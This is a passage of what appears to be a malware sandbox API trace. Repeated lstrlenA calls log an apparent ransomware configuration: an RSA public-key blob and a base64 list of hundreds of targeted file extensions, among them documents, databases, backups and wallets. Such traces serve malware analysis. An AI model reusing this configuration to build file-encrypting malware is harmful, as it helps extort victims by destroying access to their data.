ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg